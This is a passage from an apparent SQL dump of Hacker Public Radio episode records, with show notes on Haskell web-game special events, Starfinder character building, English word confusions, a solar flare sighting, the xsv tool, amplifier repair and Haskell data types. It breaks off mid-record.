(2748,'2019-02-13','Writing Web Game in Haskell - Special events',2645,'tuturto walks through implementation of special events in web based game','<h2 id=\"intro\">Intro</h2>\r\n<p>I was tasked to write kragii worms in the game and informed that they’re small (10cm / 4 inches) long worms that burrow in ground and are drawn to farming fields and people. They’re dangerous and might eat harvest or people.</p>\r\n<p>Special events build on top of the new system I explained in <a href=\"https://hackerpublicradio.org/eps.php?id=2733\">episode 2733</a>. They are read from same API as regular news and need same <code>ToJSON</code>, <code>FromJSON</code>, <code>ToDto</code> and <code>FromDto</code> instances as regular news (for translating them data transfer objects and then into JSON for sending to client).</p>\r\n<h2 id=\"loading\">Loading</h2>\r\n<p>Starting from the API interface, the first real difference is when JSON stored into database is turned into <code>NewsArticle</code>. Two cases, where special news have available options added to them and regular news are left unchanged. These options tell player what choices they have when dealing with the situation and evaluated every time special event is loaded, because situation might have changed since special event got stored into database and available options might have changed.</p>\r\n<pre><code>addOptions (key, article) = case article of\r\n                                Special news -&gt;\r\n                                    (key, Special $ availableOptions news)\r\n                                _ -&gt;\r\n                                    (key, article)\r\n\r\navailableOptions :: SpecialNews -&gt; SpecialNews\r\navailableOptions x =\r\n    case x of\r\n        KragiiWorms event _ choice -&gt;\r\n            KragiiWorms event (eventOptions event) choice</code></pre>\r\n<p><code>eventOptions</code> is one of the events defined in <code>SpecialEvent</code> type class that specifies two functions every special event has to have. <code>eventOptions</code> lists what options the event has currently available and <code>resolveEvent</code> resolves the event according to choice user might have made (hence <code>Maybe</code> in it).</p>\r\n<p>Type class is parametrized with three types (imaginatively named to <code>a</code>, <code>b</code> and <code>c</code>). First is data type that holds information about special event (where it’s happening and to who for example), second one is one that tells all possible choices player has and third one lists various results that might occur when resolving the event. In this example they’re <code>KragiiWormsEvent</code>, <code>KragiiWormsChoice</code> and <code>KragiiResults</code>.</p>\r\n<pre><code>data KragiiWormsEvent = KragiiWormsEvent\r\n    { kragiiWormsPlanetId   :: Key Planet\r\n    , kragiiWormsPlanetName :: Text\r\n    , kragiiWormsSystemId   :: Key StarSystem\r\n    , kragiiWormsSystemName :: Text\r\n    , kragiiWormsDate       :: Int\r\n    }\r\n\r\ndata KragiiWormsChoice =\r\n    EvadeWorms\r\n    | AttackWorms\r\n    | TameWorms\r\n\r\ndata KragiiResults =\r\n    WormsStillPresent\r\n    | WormsRemoved\r\n    | WormsTamed\r\n    | CropsDestroyed (RawResource Biological)\r\n    | FarmersInjured</code></pre>\r\n<p>Definition of the <code>SpecialEvent</code> type class is shown below. Type signature of <code>resolveEvent</code> is gnarly because it’s reading and writing database.</p>\r\n<pre><code>class SpecialEvent a b c | a -&gt; b, a -&gt; c where\r\n    eventOptions :: a -&gt; [UserOption b]\r\n    resolveEvent :: ( PersistQueryRead backend, PersistQueryWrite backend\r\n                    , MonadIO m, BaseBackend backend ~ SqlBackend ) =&gt;\r\n                    (Key News, a) -&gt; Maybe b -&gt; ReaderT backend m (Maybe EventRemoval, [c])</code></pre>\r\n<p>One more piece we need is <code>UserOption</code>. This records options in a format that is useful in the client side. Each option player has are given title and explanation that are shown on UI.</p>\r\n<pre><code>data UserOption a =\r\n    UserOption { userOptionTitle :: Text\r\n               , userOptionExplanation :: [Text]\r\n               , userOptionChoice :: a\r\n               }</code></pre>\r\n<p>Current implementation of <code>eventOptions</code> doesn’t allow database access, but I’m planning on adding that at the point where I need it. Example doesn’t show all different options, as they all have same structure. Only first option in the list is shown:</p>\r\n<pre><code>eventOptions _ = [ UserOption { userOptionTitle = &quot;Avoid the worms&quot;\r\n                              , userOptionExplanation = [ &quot;Keep using fields, while avoiding the worms and hope they&#39;ll eventually leave.&quot;\r\n                                                        , &quot;50 units of biologicals lost&quot;\r\n                                                        , &quot;25% chance of worms leaving&quot;\r\n                                                        ]\r\n                              , userOptionChoice = EvadeWorms\r\n                            }\r\n                   , ...\r\n                   ]</code></pre>\r\n<h2 id=\"making-choice\">Making choice</h2>\r\n<p><code>putApiMessageIdR</code> handles updating news with <code>HTTP PUT</code> messages. First steps is to check that caller has autenticated and retrieve id of their faction. News article that is transferred in body as JSON is parsed and checked for type. Updating regular news articles isn’t supported and is signaled with <code>HTTP 403</code> status code. One more check to perform is to check that news article being edited actually belong to the faction player is member of. If that’s not the case <code>HTTP 404</code> message is returned.</p>\r\n<p>If we got this far, news article is updated with the content sent by client (that also contains possible choice made by user). There’s no check that type of news article doesn’t change or that the option selected doesn’t change (I need to add these at later point). In the end, list of all messages is returned back to the client.</p>\r\n<pre><code>putApiMessageIdR :: Key News -&gt; Handler Value\r\nputApiMessageIdR mId = do\r\n    (_, _, fId) &lt;- apiRequireFaction\r\n    msg &lt;- requireJsonBody\r\n    let article = fromDto msg\r\n    _ &lt;- if isSpecialEvent article\r\n            then do\r\n                loadedMessages &lt;- runDB $ selectList [ NewsId ==. mId\r\n                                                     , NewsFactionId ==. fId ] [ Asc NewsDate ]\r\n                if length loadedMessages == 0\r\n                    then apiNotFound\r\n                    else runDB $ update mId [ NewsContent =. (toStrict $ encodeToLazyText article) ]\r\n            else apiForbidden &quot;unsupported article type&quot;\r\n    loadAllMessages fId</code></pre>\r\n<h2 id=\"resolving-event\">Resolving event</h2>\r\n<p>Special event occured, user made (or did not) a choice. Now it’s time to simulate what happens. Below is <code>resolveEvent</code> for kragii attack.</p>\r\n<pre><code>resolveEvent keyEventPair (Just choice) =\r\n    runWriterT . runMaybeT $\r\n        case choice of\r\n                EvadeWorms -&gt;\r\n                    chooseToAvoid keyEventPair\r\n\r\n                AttackWorms -&gt;\r\n                    chooseToAttack keyEventPair\r\n\r\n                TameWorms -&gt;\r\n                    chooseToTame keyEventPair\r\n\r\nresolveEvent keyEventPair Nothing =\r\n    runWriterT . runMaybeT $ noChoice keyEventPair</code></pre>\r\n<p><code>runWriterT</code> and <code>runMaybeT</code> are used as code being called uses monad transformers to add some extra handling. <code>WriterT</code> adds ability to record data (<code>KragiiResult</code> in this case) and <code>MaybeT</code> adds ability to stop computation early if one of the steps return <code>Nothing</code> value.</p>\r\n<p>Let’s walk through what happens when user has chosen to avoid kragii worms and keep working only part of the fields. First step is to load faction information. If faction couldn’t be found, we abort. Next amount of biological matter consumed and how much is left is calculated. Again, if calculation isn’t possible, we’ll abort. This step reaches into database and updates amount of biological matter stored by the faction (again, possibility to stop early). Final step is to check if kragii leave or not (again, chance of abort).</p>\r\n<pre><code>chooseToAvoid :: ( MonadIO m, PersistQueryWrite backend\r\n                 , BaseBackend backend ~ SqlBackend ) =&gt;\r\n                 (Key News, KragiiWormsEvent)\r\n                 -&gt; MaybeT (WriterT [KragiiResults] (ReaderT backend m)) EventRemoval\r\nchooseToAvoid (_, event) = do\r\n    faction &lt;- getFaction event\r\n    (cost, bioLeft) &lt;- calculateNewBio (RawResource 50) (entityVal faction)\r\n    _ &lt;- destroyCrops faction cost bioLeft\r\n    removeNews $ PercentileChance 25</code></pre>\r\n<p>Loading faction has several step. Id is stored in the event is used to load planet. Planet might or might have an owner faction, depending on if it has been settled. This faction id is used to load faction data. Loading might fail if corresponding record has been removed from database and planet might not be settled at the given time. Any of these cases will result <code>Nothing</code> be returned and whole event resolution being aborted. I’m starting to really like that I don’t have to write separate <code>if</code> statements to take care of these special cases.</p>\r\n<pre><code>getFaction :: ( MonadIO m, PersistStoreRead backend\r\n              , BaseBackend backend ~ SqlBackend ) =&gt;\r\n              KragiiWormsEvent\r\n              -&gt; MaybeT (WriterT [KragiiResults] (ReaderT backend m)) (Entity Faction)\r\ngetFaction event = MaybeT $ do\r\n    planet &lt;- lift $ get $ kragiiWormsPlanetId event\r\n    let owner = join $ fmap planetOwnerId planet\r\n    res &lt;- lift $ mapM getEntity owner\r\n    return $ join res</code></pre>\r\n<p>Amount of biological matter in store is stored in faction information. If it’s zero or less, <code>Nothing</code> is returned as there’s nothing to do really. In other cases, amount of biological matter left is calculated and result returned in form of <code>( cost, biological matter left )</code>. I’m carrying around the cost, as it’s later needed for reporting how much matter was removed.</p>\r\n<pre><code>calculateNewBio :: Monad m =&gt;\r\n                RawResource Biological -&gt; Faction\r\n                -&gt; MaybeT (WriterT [KragiiResults] m) ((RawResource Biological), (RawResource Biological))\r\ncalculateNewBio cost faction = MaybeT $ do\r\n    let currentBio = factionBiologicals faction\r\n    return $ if currentBio &gt; 0\r\n                then Just $ ( cost\r\n                            , RawResource $ max 0 (currentBio - unRawResource cost))\r\n                else Nothing</code></pre>\r\n<p><code>destroyCrops</code> updates database with new amount of biological matter in store for the faction and records amount of destruction in <code>CropsDestroyed</code>. <code>tell</code> requires that we have <code>Writer</code> at our disposal and makes recording information nice and easy.</p>\r\n<pre><code>destroyCrops :: ( MonadIO m, PersistQueryWrite backend, BaseBackend backend ~ SqlBackend ) =&gt;\r\n                Entity Faction -&gt; RawResource Biological\r\n                -&gt; RawResource Biological -&gt; MaybeT (WriterT [KragiiResults] (ReaderT backend m)) ()\r\ndestroyCrops faction cost bioLeft = MaybeT $ do\r\n    _ &lt;- lift $ updateWhere [ FactionId ==. entityKey faction ]\r\n                            [ FactionBiologicals =. unRawResource bioLeft ]\r\n    tell [ CropsDestroyed cost ]\r\n    return $ Just ()</code></pre>\r\n<p>Final step is to roll a percentile die against given odds and see what happens. In case of <code>Success</code>, we record that worms were removed and value of function will be <code>Just RemoveOriginalEvent</code>. If we didn’t beat the odds, <code>WormsStillPresent</code> gets recorded and value of function is <code>Just KeepOriginalEvent</code>. Return value will then be used later to mark special event handled.</p>\r\n<pre><code>removeNews :: ( PersistStoreWrite backend, MonadIO m, BaseBackend backend ~ SqlBackend ) =&gt;\r\n              PercentileChance -&gt; MaybeT (WriterT [KragiiResults] (ReaderT backend m)) EventRemoval\r\nremoveNews odds = MaybeT $ do\r\nres &lt;- liftIO $ roll odds\r\n    case res of\r\n        Success -&gt; do\r\n            _ &lt;- tell [ WormsRemoved ]\r\n            return $ Just RemoveOriginalEvent\r\n        Failure -&gt; do\r\n            _ &lt;- tell [ WormsStillPresent ]\r\n            return $ Just KeepOriginalEvent</code></pre>\r\n<p>So result of this whole matter is:</p>\r\n<pre><code>( [KragiiResults], Maybe EventRemoval )</code></pre>\r\n<p>and whole lot of database activity.</p>\r\n<h2 id=\"handling-events-during-simulation\">Handling events during simulation</h2>\r\n<p>Pieces are now in place, time to put things in motion. When handling special events for a faction, first step is to load all unhandled ones and then call <code>handleSpecialEvent</code> for each of them.</p>\r\n<pre><code>handleFactionEvents :: (BaseBackend backend ~ SqlBackend\r\n                       , PersistStoreWrite backend, PersistQueryRead backend\r\n                       , PersistQueryWrite backend, MonadIO m) =&gt;\r\n                       Time -&gt; Entity Faction -&gt; ReaderT backend m [Key News]\r\nhandleFactionEvents date faction = do\r\n    loadedMessages &lt;- selectList [ NewsFactionId ==. (entityKey faction)\r\n                                 , NewsSpecialEvent ==. UnhandledSpecialEvent ] [ Desc NewsDate ]\r\n    let specials = mapMaybe extractSpecialNews $ parseNewsEntities loadedMessages\r\n    mapM (handleSpecialEvent (entityKey faction) date) specials</code></pre>\r\n<p><code>resolveEvent</code> resolves event based on choice user maybe made (this is what we explored earlier in the episode). Depending on the result of <code>resolveEvent</code>, event gets marked to handled and dismissed. In any case, a news article spelling out what happend is created and saved.</p>\r\n<pre><code>handleSpecialEvent :: (PersistQueryWrite backend, MonadIO m\r\n                      , BaseBackend backend ~ SqlBackend) =&gt;\r\n                      Key Faction -&gt; Time -&gt; (Key News, SpecialNews) -&gt; ReaderT backend m (Key News)\r\nhandleSpecialEvent fId date (nId, (KragiiWorms event _ choice)) = do\r\n    (removal, results) &lt;- resolveEvent (nId, event) choice\r\n    _ &lt;- when (removal /= Just KeepOriginalEvent) $\r\n                    updateWhere [ NewsId ==. nId ]\r\n                                [ NewsSpecialEvent =. HandledSpecialEvent\r\n                                , NewsDismissed =. True ]\r\n    insert $ report fId date event choice results</code></pre>\r\n<p>Result article creation is abstracted by <code>ResultReport</code> type class. It has single function <code>report</code> that takes parameters: database key of the faction the event concerns of, current time, special event that was processed, choice that was made and list of records telling what happened during resolution. It will return <code>News</code> that is ready to be saved into database.</p>\r\n<pre><code>class ResultsReport a b c | a -&gt; b, a -&gt; c where\r\nreport :: Key Faction -&gt; Time -&gt; a -&gt; Maybe b -&gt; [c] -&gt; News</code></pre>\r\n<ul>\r\n<li>quite long and verbose instance</li>\r\n<li>essentially take event, choice and results and build a string explaining what actually happened</li>\r\n<li>&lt;&gt; is monoid operation for combining things, here used for text</li>\r\n</ul>\r\n<p>Instance declaration is pretty long, because there’s many different cases to account for and by definition they’re all pretty verbose. I have included it in its entirity below, as it might be interesting to glance over and see different kinds of combinations that resolution might create.</p>\r\n<pre><code>instance ResultsReport KragiiWormsEvent KragiiWormsChoice KragiiResults where\r\n    report fId date event choice results =\r\n        let\r\n            content = KragiiNews { kragiiNewsPlanetId = kragiiWormsPlanetId event\r\n                                 , kragiiNewsPlanetName = kragiiWormsPlanetName event\r\n                                 , kragiiNewsSystemId = kragiiWormsSystemId event\r\n                                 , kragiiNewsSystemName = kragiiWormsSystemName event\r\n                                 , kragiiNewsExplanation = repText\r\n                                 , kragiiNewsDate = timeCurrentTime date\r\n                                 }\r\n        in\r\n            mkNews fId date $ KragiiResolution content\r\n        where\r\n            repText = header choice &lt;&gt; &quot; &quot; &lt;&gt; removed choice (WormsRemoved `elem` results) &lt;&gt; &quot; &quot; &lt;&gt; injury &lt;&gt; &quot; &quot; &lt;&gt; destruction &lt;&gt; &quot; &quot;\r\n\r\n            header (Just EvadeWorms) = &quot;Local farmers had chosen to work on their fields, while avoiding the kragii worms.&quot;\r\n            header (Just AttackWorms) = &quot;Local farmers had decided to attack the worms with chemicals and burning.&quot;\r\n            header (Just TameWorms) = &quot;Decision to try and tame the kragii had been taken.&quot;\r\n            header Nothing = &quot;No decision what to do about worms had been taken.&quot;\r\n\r\n            removed (Just EvadeWorms) True = &quot;After some time, there has been no new kragii sightings and it seems that the threat is now over.&quot;\r\n            removed (Just AttackWorms) True = &quot;Attacks seem to have worked and there has been no new kragii sightings.&quot;\r\n            removed (Just TameWorms) True = &quot;Kragii has been tamed and put into use of improving soil quality.&quot;\r\n            removed Nothing True = &quot;Despite farmers doing nothing at all about the situation, kragii worms disappeared eventually.&quot;\r\n            removed (Just EvadeWorms) False = &quot;Kragii are still present on the planet and hamper farming operations considerability.&quot;\r\n            removed (Just AttackWorms) False = &quot;Despite the best efforts of farmers, kragii threat is still present.&quot;\r\n            removed (Just TameWorms) False = &quot;Taming of the worms was much harder than anticipated and they remain wild.&quot;\r\n            removed Nothing False = &quot;While farmers were debating best course of action, kragii reigned free and destroyed crops.&quot;\r\n\r\n            injury = if FarmersInjured `elem` results\r\n                        then &quot;Some of the personnel involved in the event were seriously injured.&quot;\r\n                        else &quot;There are no known reports of personnel injuries.&quot;\r\n\r\n            totalDestroyed = mconcat $ map (x -&gt; case x of\r\n                                                    CropsDestroyed n -&gt; n\r\n                                                    _ -&gt; mempty) results\r\n            destruction = if totalDestroyed &gt; RawResource 0\r\n                            then &quot;In the end, &quot; &lt;&gt; pack (show (unRawResource totalDestroyed)) &lt;&gt; &quot; units of harvest was destroyed.&quot;\r\n                            else &quot;Despite of all this, no harvest was destroyed.&quot;</code></pre>\r\n<p>While there are still pieces left that need a bit work or are completely missing, the overall structure is in place. While this one took quite a bit of work to get working, I’m hoping that the next special event will be a lot easier to implement. Thanks for listening the episode.</p>\r\n<p>Easiest way to catch me nowdays is either via email or on fediverse where I’m tuturto@mastodon.social</p>\r\n',364,107,0,'CC-BY-SA','haskell, yesod',0,0,1),
(2743,'2019-02-06','Character build in the d20 system',3949,'Klaatu and Lostnbronx build an RPG character in the d20 system of Starfinder','<p>Klaatu and Lostnbronx spend an hour building an RPG character at a leisurely, and hopefully informative, pace. While the build process here is technically specific to the sci-fi (or science fantasy, really) game Starfinder, the idea is to convey the generic process of stepping through a character build instruction, cross-referencing important rules, and generally learning how to build a character in an unfamiliar system.\r\n</p>',78,99,0,'CC-BY-SA','Starfinder,RPG,character,build',0,0,1),
(2749,'2019-02-14','Lostnbronx and Klaatu commentary from episode 2743',890,'Thoughts about RPG character building, modern RPG play style compared to the Old School, and more','<p>\r\nOut-takes from episode 2743. This is commentary about modern RPG play style, the character build process, Starfinder as a system, and more.\r\n</p>\r\n<p>\r\nDid you know that Lostnbronx and Klaatu have a gaming blog? We do! You should go subscribe to it at <a href=\"https://mixedsignals.ml\" target=\"_blank\">mixedsignals.ml</a></p>\r\n\r\n<p>The blog features commentary about gaming, tech, geek culture, a podcast or two, and lots more.</p>',78,0,0,'CC-BY-SA','rpg, game, gaming',0,0,1),
(2751,'2019-02-18','Battling with English - part 3',822,'Misunderstandings about English grammar, spelling, punctuation, etc.','<h1 id=\"battling-with-english---part-3\">Battling with English - part 3</h1>\r\n<h2 id=\"some-word-confusions\">Some word confusions</h2>\r\n<p>In this episode, the third of this series, I’m looking at some words that are sometimes used in the wrong places, often being confused one with another. These words are often particularly difficult to differentiate by people for whom <a href=\"https://www.englishpractice.com/common-mistakes\" title=\"English Practice - Common Mistakes\">English is not their first language</a>.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>As usual I have provided detailed notes and examples for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2751/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Been:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/been\">Definition of “been”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/been\">“been”</a></li>\r\n</ul></li>\r\n<li>Being:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/being\">Definition of “being”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/being\">“being”</a></li>\r\n</ul></li>\r\n<li>Been versus Being\r\n<ul>\r\n<li><a href=\"https://www.englishpractice.com/common-mistakes/difference-9/\">English Practice - Difference between being and been</a></li>\r\n</ul></li>\r\n<li>Examples of the use of Being:\r\n<ul>\r\n<li><a href=\"https://sentence.yourdictionary.com/being\">Example sentences using <em>being</em></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Weather:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/weather\">Definition of “weather”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/weather\">“weather”</a></li>\r\n</ul></li>\r\n<li>Wether:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/wether\">Definition of “wether”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/wether\">“wether”</a></li>\r\n</ul></li>\r\n<li>Whether:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/whether\">Definition of “whether”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/whether\">“whether”</a></li>\r\n</ul></li>\r\n<li>Wither:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/wither\">Definition of “wither”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/wither\">“wither”</a></li>\r\n</ul></li>\r\n<li>Whither:\r\n<ul>\r\n<li>Oxford Dictionaries: <a href=\"https://en.oxforddictionaries.com/definition/whither\">Definition of “whither”</a></li>\r\n<li>Online Etymology Dictionary: <a href=\"https://www.etymonline.com/word/whither\">“whither”</a></li>\r\n</ul></li>\r\n<li>Weather, wether, and the rest:\r\n<ul>\r\n<li><a href=\"https://grammarist.com/usage/wither-whither/\">Grammarist</a></li>\r\n<li><a href=\"https://www.grammar-monster.com/easily_confused/weather_whether_wether.htm\">Grammar Monster</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Previous episodes in this series:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2558\">Battling with English - part 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2596\">Battling with English - part 2</a></li>\r\n</ul></li>\r\n</ul>',225,120,1,'CC-BY-SA','grammar,spelling,punctuation,word misuse,English',0,0,1),
(3857,'2023-05-16','Yesterday I saw a solar flare',668,'An account of the first time I saw a solar flare with my own eyes.','<p>A solar flare is a huge release of energy at and near the surface of the Sun in the form of electromagnetic radiation and fast particles. On 19 January 2023 at around 11:00 UTC I was lucky enough to see a solar flare with my own eyes using a <a href=\"https://www.meadeuk.com/Coronado-Personal-Solar-Telescope-PST.html\">Coronado PST Solar Telescope</a> that belongs to the <a href=\"https://theasg.org.uk/\">Astronomical Society of Glasgow</a>.</p>\n\n<p>This audio was recorded the day after I had seen it so the details remained fresh in my mind.</p>\n\n<p>A view of how the Sun appears through the Coronado PST H&alpha; telescope taken with the main camera of Samsung Galaxy S9+ phone at the eyepiece, after much trial and error! This was taken on 20 January 2023 at 13:08 UTC the day after the flare. The enormous sun spot is still visible.</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3857/20230120_111458_1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3857/20230120_111458_1_thumbnail.jpg\" title=\"The enormous sun spot is still visible on 20 January 2023 at 13:08 UTC.\" alt=\"Sunspot\" /></a></p>\n<!-- INSERT 20230120_111458_1.jpg -->\n\n<p>The X-ray flux from the Sun measured by the <a href=\"https://www.swpc.noaa.gov/products/goes-x-ray-flux\">GOES satellite(s)</a>.</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3857/goes_190123.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3857/goes_190123_thumbnail.png\" title=\"The X-ray flux from the Sun\" alt=\"X-ray flux\" /></a></p>\n<!-- INSERT goes_190123.png -->\n\n<p>A short movie of images covering the period from 10:01 UTC to 11:21 UTC  observed by the <a href=\"https://sdo.gsfc.nasa.gov/data/\">SDO satellite\'s AIA instrument</a>.</p>\n<video controls width=\"800\">\n<source src=\"https://hackerpublicradio.org/eps/hpr3857/2023_01_19_10_01_17_2023_01_19_11_21_41_AIA_304-hq.mp4\" type=\"video/mp4\">\nYour browser does not support the video tag.\n</video>\n<!-- INSERT  2023_01_19_10_01_17_2023_01_19_11_21_41_AIA_304-hq.mp4 -->\n',268,0,0,'CC-BY-SA','solar,astronomy,telescopes,planes',0,0,1),
(2752,'2019-02-19','XSV for fast CSV manipulations - Part 2',1359,'Part 2 of my introduction to the XSV tool','<h1 id=\"xsv-for-fast-csv-manipulations---part-1-basic-usage\">XSV for fast CSV manipulations - Part 1: Basic Usage</h1>\r\n<blockquote>\r\n<p><a href=\"https://github.com/BurntSushi/xsv\" class=\"uri\">https://github.com/BurntSushi/xsv</a></p>\r\n</blockquote>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>xsv is a command line program for indexing, slicing, analyzing, splitting and joining CSV files. Commands should be simple, fast and composable:</p>\r\n<ol>\r\n<li>Simple tasks should be easy.</li>\r\n<li>Performance trade offs should be exposed in the CLI interface.</li>\r\n<li>Composition should not come at the expense of performance.</li>\r\n</ol>\r\n<p>We will be using the CSV file provided in the <a href=\"https://burntsushi.net/stuff/worldcitiespop.csv\">documentation</a>.</p>\r\n<h2 id=\"commands-covered-in-this-episode\">Commands covered in this episode</h2>\r\n<ul>\r\n<li><strong>fixedlengths</strong> - Force a CSV file to have same-length records by either padding or truncating them.</li>\r\n<li><strong>fmt</strong> - Reformat CSV data with different delimiters, record terminators or quoting rules. (Supports ASCII delimited data.)</li>\r\n<li><strong>input</strong> - Read CSV data with exotic quoting/escaping rules.</li>\r\n<li><strong>partition</strong> - Partition CSV data based on a column value.</li>\r\n<li><strong>split</strong> - Split one CSV file into many CSV files of N chunks.</li>\r\n<li><strong>sample</strong> - Randomly draw rows from CSV data using reservoir sampling (i.e., use memory proportional to the size of the sample).</li>\r\n<li><strong>cat</strong> - Concatenate CSV files by row or by column.</li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','csv,command-line,data',0,0,1),
(2759,'2019-02-28','Cleaning the Potentiometers on a Peavey Bandit 65',1244,'I disassemble and clean the pots on my Peavey Bandit 65 to fix static in the knobs.','<p>Since my daughter has been learning a bit of guitar in the last several months, I\'ve actually gotten my old electric guitar and amplifier back out again after many years in the closet. The amp is a Peavey Bandit 65, which was a an affordable solid-state workhorse kind of amp back in the mid-80s and I\'ve had it since it was new. In this episode I talk through the process of removing the brains of the amp and cleaning the potentiometers to try to get rid of some of the static that\'s happening when I turn the knobs. I also discover belatedly that the reason I was not getting any distortion when I turned the saturation up was that the amp was stuck on the clean channel — shows how long it\'s been since I used the amp, I kind of forgot how the thing works!</p>\r\n\r\n<p>Click image below to view photo gallery</p>\r\n\r\n<p><a href=\"https://www.flickr.com/photos/137675441@N05/albums/72157706214884694\" title=\"Peavey Bandit 65 Cleaning\" target=\"_blank\"><img src=\"https://hackerpublicradio.org/eps/hpr2759.jpg\" alt=\"Peavey Bandit 65 Cleaning\"></a></p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://peavey.com/\">Peavey Electronics Corporation</a></li>\r\n	<li><a href=\"https://www.fender.com/products/electric-guitars/stratocaster\">The Fender Stratocaster</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>',238,0,0,'CC-BY-SA','Guitars, electronics, amplifiers, maintenance, repair',0,0,1),
(2753,'2019-02-20','Specific Settings In Storytelling',1027,'Lostnbronx looks at why you might choose specific settings for your tales.','<p>How does setting interact with plot or character? Why would you choose one type of setting over another? And how do certain specific settings become intrinsic aspects of the story itself?</p>\r\n<p>Lostnbronx takes a breezy, mostly incoherent stab at this rather complicated topic.</p>\r\n',107,105,0,'CC-BY-SA','stories, storytelling, setting, lostnbronx',0,0,1),
(2758,'2019-02-27','Haskell - Data types and database actions',2566,'Brief summary of how to declare your own datatypes in Haskell and how to store data in database','<h2 id=\"intro\">Intro</h2>\r\n<p>I have been doing series about web programming in Haskell and realized that I might have skipped over some very basic details. Better later than never, I’ll go over some of them briefly (data types and database actions). Hopefully things will make more sense after this (like with my friend, whose last programming course was programming 101 and they said afterwards that now all that 3d and game programming is suddenly making sense).</p>\r\n<h2 id=\"data-types\">Data types</h2>\r\n<p>Data here has nothing to do with databases (yet). This is how you can declare your own data types in Haskell. They’re declared with keyword <code>data</code> followed with type name, equals sign and one or more value constructors. Type name and value constructors have to start with uppercase letter.</p>\r\n<p>Simplest type is following:</p>\r\n<pre><code>data Simple = One</code></pre>\r\n<p>This declares a type called <code>Simple</code> that has single possible value: <code>One</code>.</p>\r\n<p>More interesting type is shown below. <code>Colour</code> has three possible values: <code>Red</code>, <code>Green</code> and <code>Blue</code>.</p>\r\n<pre><code>data Colour =\r\n    Red\r\n    | Green\r\n    | Blue</code></pre>\r\n<p>It’s possible to have parameters in value constructor. Following is <code>Payment</code> type that could be used to indicate how payment was done. In case of <code>Cash</code> amount is stored. In case of <code>IOU</code> free text is recorded.</p>\r\n<pre><code>data Payment =\r\n    Cash Double\r\n    | IOU Text</code></pre>\r\n<p>Fictional usage of the <code>Payment</code> is shown below. Function <code>paymentExplanation</code> takes a <code>Payment</code> as parameter and returns <code>Text</code> describing the payment. In case of cash payment, brief explanation of how much was paid is returned. In case of IOU slip the function returns explanation stored in <code>IOU</code> value.</p>\r\n<p><code>paymentExplanation :: Payment -&gt; Text</code> part is type declaration. It states that <code>paymentExplanation</code> takes argument of type <code>Payment</code> and returns result as <code>Text</code>.</p>\r\n<pre><code>paymentExplanation :: Payment -&gt; Text\r\npaymentExplanation payment =\r\n    case payment of\r\n        Cash amount -&gt;\r\n            &quot;Cash payment of &quot; &lt;&gt; (show amount) &lt;&gt; &quot; euros&quot;\r\n        IOU explanation -&gt;\r\n            explanation</code></pre>\r\n<p>Parameters don’t have to be hard coded in the type definition. Parametrized types allows creating more general code. <code>Maybe</code> is very useful data type that is often used for data that might or might not be present. It can have two values: <code>Nothing</code> indicating that there isn’t value and <code>Just a</code> indicating that value is present.</p>\r\n<pre><code>data Maybe a =\r\n    Nothing\r\n    | Just a</code></pre>\r\n<p><code>a</code> is type parameter that is filled in when declaring type. Below is a function that takes <code>Maybe Payment</code> as a parameter and if value of <code>payment</code> parameter is <code>Just</code> returns explanation of it (reusing the function we declared earlier). In case of <code>Nothing</code> <code>&quot;No payment to handle&quot;</code> is returned.</p>\r\n<pre><code>invoice :: Maybe Payment -&gt; Text\r\ninvoice payment =\r\n    case payment of\r\n        Just x -&gt;\r\n            paymentExplanation x\r\n        Nothing -&gt;\r\n            &quot;No payment to handle&quot;</code></pre>\r\n<p>Alternatively one can omit <code>case</code> expression as shown below and write different value constructors directly as parameters. In both cases, compiler will check that programmer has covered all cases and emit a warning if that’s not the case.</p>\r\n<pre><code>invoice :: Maybe Payment -&gt; Text\r\ninvoice (Just payment) =\r\n    paymentExplanation payment\r\n\r\ninvoice Nothing =\r\n    &quot;No payment to handle&quot;</code></pre>\r\n<p>Having several parameters gets soon unwieldy, so lets introduce records. With them, fields have names that can be used when referring to them (either when creating or when accessing the data). Below is <code>Person</code> record with two fields. <code>personName</code> is of type <code>Text</code> and <code>personAge</code> of type <code>Age</code> (that we’ll define in the next step).</p>\r\n<pre><code>data Person = Person\r\n    { personName :: Text\r\n    , personAge :: Age\r\n    